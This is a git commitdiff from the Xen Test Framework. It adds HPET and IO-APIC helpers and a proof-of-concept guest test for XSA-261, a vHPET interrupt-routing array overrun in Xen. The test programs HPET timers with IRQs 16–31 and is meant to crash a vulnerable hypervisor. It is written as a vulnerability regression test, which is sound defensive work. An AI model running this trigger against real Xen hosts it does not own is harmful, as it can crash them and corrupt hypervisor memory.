]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-261 PoC
authorRoger Pau Monne <roger.pau@citrix.com>
Wed, 2 May 2018 14:22:35 +0000 (15:22 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 28 May 2018 16:56:24 +0000 (17:56 +0100)
This requires adding some basic IO APIC and HPET functionality.

Signed-off-by: Roger Pau Monné <roger.pau@citrix.com>
Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>
Compile fixes, misc cleanup and consistency improvements, and written
documentation.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
arch/x86/hpet.c
arch/x86/include/arch/hpet.h
arch/x86/include/arch/io-apic.h
arch/x86/io-apic.c
docs/all-tests.dox
include/xtf/numbers.h
tests/xsa-261/Makefile [new file with mode: 0644]
tests/xsa-261/main.c [new file with mode: 0644]

index 906f780942be776cc94f582d4585457b6d5c0d5e..8c18dac37c31c746a35df8205d138a0c662e7b03 100644 (file)
 
 #include <arch/hpet.h>
 
+unsigned int hpet_nr_timers;
+
+union hpet_timer {
+    uint32_t raw;
+    struct {
+        uint8_t                 :1;
+        bool level              :1;
+        bool enabled            :1;
+        bool periodic           :1;
+        uint8_t                 :4;
+        bool mode_32bit         :1;
+        uint8_t irq             :5;
+        uint32_t                :18;
+    };
+};
+
 int hpet_init(void)
 {
     uint64_t id = hpet_read64(HPET_ID);
@@ -24,9 +40,42 @@ int hpet_init(void)
     if ( period == 0 || period > HPET_ID_MAX_PERIOD )
         return -ENODEV;
 
+    /* Get number of timers. */
+    hpet_nr_timers = MASK_EXTR(id, HPET_ID_NUMBER_MASK) + 1;
+
     return 0;
 }
 
+void hpet_init_timer(unsigned int nr, unsigned int irq, uint64_t ticks,
+                     bool level, bool periodic, bool mode32bit)
+{
+    uint64_t cfg;
+    union hpet_timer tm = {};
+
+    tm.level = level;
+    tm.enabled = true;
+    tm.periodic = periodic;
+    tm.mode_32bit = mode32bit;
+    tm.irq = irq;
+
+    /*
+     * Disable interrupts and reset main counter.
+     *
+     * Note that this is a testing HPET implementation and ATM we only expect
+     * a single timer to be tested simultaneously.
+     */
+    cfg = hpet_read64(HPET_CFG);
+    hpet_write64(HPET_CFG, cfg & ~HPET_CFG_ENABLE);
+    hpet_write64(HPET_COUNTER, 0);
+
+    /* Configure timer and setup comparator. */
+    hpet_write32(HPET_Tn_CFG(nr), tm.raw);
+    hpet_write64(HPET_Tn_CMP(nr), ticks);
+
+    /* Enable main counter. */
+    hpet_write64(HPET_CFG, cfg | HPET_CFG_ENABLE);
+}
+
 /*
  * Local variables:
  * mode: C
index 1cd5d126b863b2fd58b792c9c0c4dedee1615d5f..ea882ef238bc7c7b0450e7b1951159b07b94b797 100644 (file)
 #define XTF_X86_HPET_H
 
 #include <xtf/numbers.h>
+#include <xtf/macro_magic.h>
 #include <xtf/types.h>
 
 #define HPET_ID                 0x0
 #define   HPET_ID_MAX_PERIOD    0x05f5e100
+#define   HPET_ID_NUMBER_MASK   0x1f00
+
+#define HPET_CFG                0x010
+#define   HPET_CFG_ENABLE       0x001
+
+#define HPET_COUNTER            0x0f0
+
+#define HPET_Tn_CFG(n)         (0x100 + (n) * 0x20)
+
+#define HPET_Tn_CMP(n)         (0x108 + (n) * 0x20)
 
 #define HPET_DEFAULT_BASE       0xfed00000
 
+/* Number of available HPET timers. */
+extern unsigned int hpet_nr_timers;
+
 /**
  * Discover and initialise the HPET.  May fail if there is no HPET.
  */
@@ -42,6 +56,32 @@ static inline void hpet_write64(unsigned int reg, uint64_t val)
     *(volatile uint64_t *)(_p(HPET_DEFAULT_BASE) + reg) = val;
 }
 
+/**
+ * Fetch the HPET main counter register.
+ */
+static inline uint64_t hpet_read_counter(void)
+{
+    if ( IS_DEFINED(CONFIG_64BIT) )
+        return hpet_read64(HPET_COUNTER);
+    else
+    {
+        uint32_t lo, hi;
+
+        do {
+            hi = hpet_read32(HPET_COUNTER + 4);
+            lo = hpet_read32(HPET_COUNTER);
+        } while ( hi != hpet_read32(HPET_COUNTER + 4) );
+
+        return ((uint64_t)hi << 32) | lo;
+    }
+}
+
+/**
+ * Setup and enable a specific HPET timer.
+ */
+void hpet_init_timer(unsigned int nr, unsigned int irq, uint64_t ticks,
+                     bool level, bool periodic, bool mode32bit);
+
 #endif /* !XTF_X86_HPET_H */
 
 /*
index 400445c7facdeb0f574f85cef3b85371d45a068f..c5af1692a301f2a193cb665fdda7895072387885 100644 (file)
 /* IO-APIC registers. */
 #define IOAPIC_ID                 0x0
 
+#define IOAPIC_VERSION            0x1
+#define   IOAPIC_MAXREDIR_MASK    0xff0000
+
+#define IOAPIC_REDIR_ENTRY(e)     (0x10 + (e) * 2)
+#define   IOAPIC_REDIR_MASK_SHIFT 16
 
 #define IOAPIC_DEFAULT_BASE       0xfec00000
 
@@ -52,6 +57,11 @@ static inline void ioapic_write64(unsigned int reg, uint64_t val)
     ioapic_write32(reg + 1, val >> 32);
 }
 
+/**
+ * Set the mask bit on a redirection entry.
+ */
+int ioapic_set_mask(unsigned int entry, bool mask);
+
 #endif /* !XTF_X86_IO_APIC_H */
 
 /*
index 05aea34ad7708c9c8594d38645b5e05e436681ed..401507fc67860455758a4099ee524282d042fb74 100644 (file)
@@ -10,6 +10,8 @@
 
 #include <arch/io-apic.h>
 
+static unsigned int nr_entries;
+
 int ioapic_init(void)
 {
     uint32_t id = ioapic_read32(IOAPIC_ID);
@@ -18,6 +20,25 @@ int ioapic_init(void)
     if ( id == ~0u )
         return -ENODEV;
 
+    nr_entries = MASK_EXTR(ioapic_read32(IOAPIC_VERSION),
+                           IOAPIC_MAXREDIR_MASK) + 1;
+
+    return 0;
+}
+
+int ioapic_set_mask(unsigned int entry, bool mask)
+{
+    uint32_t redir;
+
+    if ( entry >= nr_entries )
+        return -EINVAL;
+
+    redir = ioapic_read32(IOAPIC_REDIR_ENTRY(entry));
+    redir &= ~(1u << IOAPIC_REDIR_MASK_SHIFT);
+    if ( mask )
+        redir |= 1u << IOAPIC_REDIR_MASK_SHIFT;
+    ioapic_write32(IOAPIC_REDIR_ENTRY(entry), redir);
+
     return 0;
 }
 
index 8e7280bd372427380645f19a005619b3ab6011c7..f8a495a6de3fdf95f9d0e8f74a0d0a4c6d32d52d 100644 (file)
@@ -118,6 +118,8 @@ guest breakout.
 
 @subpage test-xsa-260 - x86: mishandling of debug exceptions.
 
+@subpage test-xsa-261 - vHPET interrupt injection memory corruption.
+
 
 @section index-utility Utilities
 
index 185d67649b0a5f8bcb9ae3456ec096440a682266..f5c73b7ecc469f2f4dca4a880e86de17a04cfe34 100644 (file)
@@ -37,6 +37,9 @@
  */
 #define IS_ALIGNED(val, align) (((val) & ((align) - 1)) == 0)
 
+#define MASK_EXTR(v, m) (((v) & (m)) / ((m) & -(m)))
+#define MASK_INSR(v, m) (((v) * ((m) & -(m))) & (m))
+
 #ifndef __ASSEMBLY__
 
 /**
diff --git a/tests/xsa-261/Makefile b/tests/xsa-261/Makefile
new file mode 100644 (file)
index 0000000..e4f9fbf
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-261
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-261/main.c b/tests/xsa-261/main.c
new file mode 100644 (file)
index 0000000..9bfaa92
--- /dev/null
@@ -0,0 +1,64 @@
+/**
+ * @file tests/xsa-261/main.c
+ * @ref test-xsa-261
+ *
+ * @page test-xsa-261 XSA-261
+ *
+ * Advisory: [XSA-261](http://xenbits.xen.org/xsa/advisory-261.html)
+ *
+ * Before XSA-261, Xen didn't implement IO-APIC interrupt routing for HPET
+ * timers properly, and attempting to configure a IRQ above the legacy PIC
+ * range resulted in an array overrun.
+ *
+ * This test attempts to configure the non-legacy IRQs for each timer.  If
+ * vulnerable, Xen will generally crash on the first IRQ attempt, but this
+ * does depend on the exact compiled layout of `struct domain`.  If Xen hasn't
+ * crashed by the end of the loops, it is most likely not vulnerable.
+ *
+ * @see tests/xsa-261/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-261 PoC";
+
+void test_main(void)
+{
+    unsigned int timer, irq;
+
+    if ( hpet_init() || !hpet_nr_timers )
+        return xtf_skip("Skip: No working HPET\n");
+
+    if ( ioapic_init() )
+        return xtf_skip("Skip: No working IO-APIC\n");
+
+    /*
+     * Attempt to test all timers using non-ISA IRQs, regardless of whether
+     * the timer supports them or not.
+     */
+    for ( timer = 0; timer < hpet_nr_timers; timer++ )
+    {
+        for ( irq = 16; irq < 32; irq++ )
+        {
+            if ( ioapic_set_mask(irq, false) )
+                return xtf_error("Error: cannot unmask IRQ %u on the IO APIC\n",
+                                 irq);
+
+            hpet_init_timer(timer, irq, 1, false, false, false);
+
+            while ( hpet_read_counter() < 1 );
+        }
+    }
+
+    /* Xen still hasn't crashed?  Most likely not vulnerable. */
+    xtf_success("Success: Probably not vulnerable to XSA-261\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */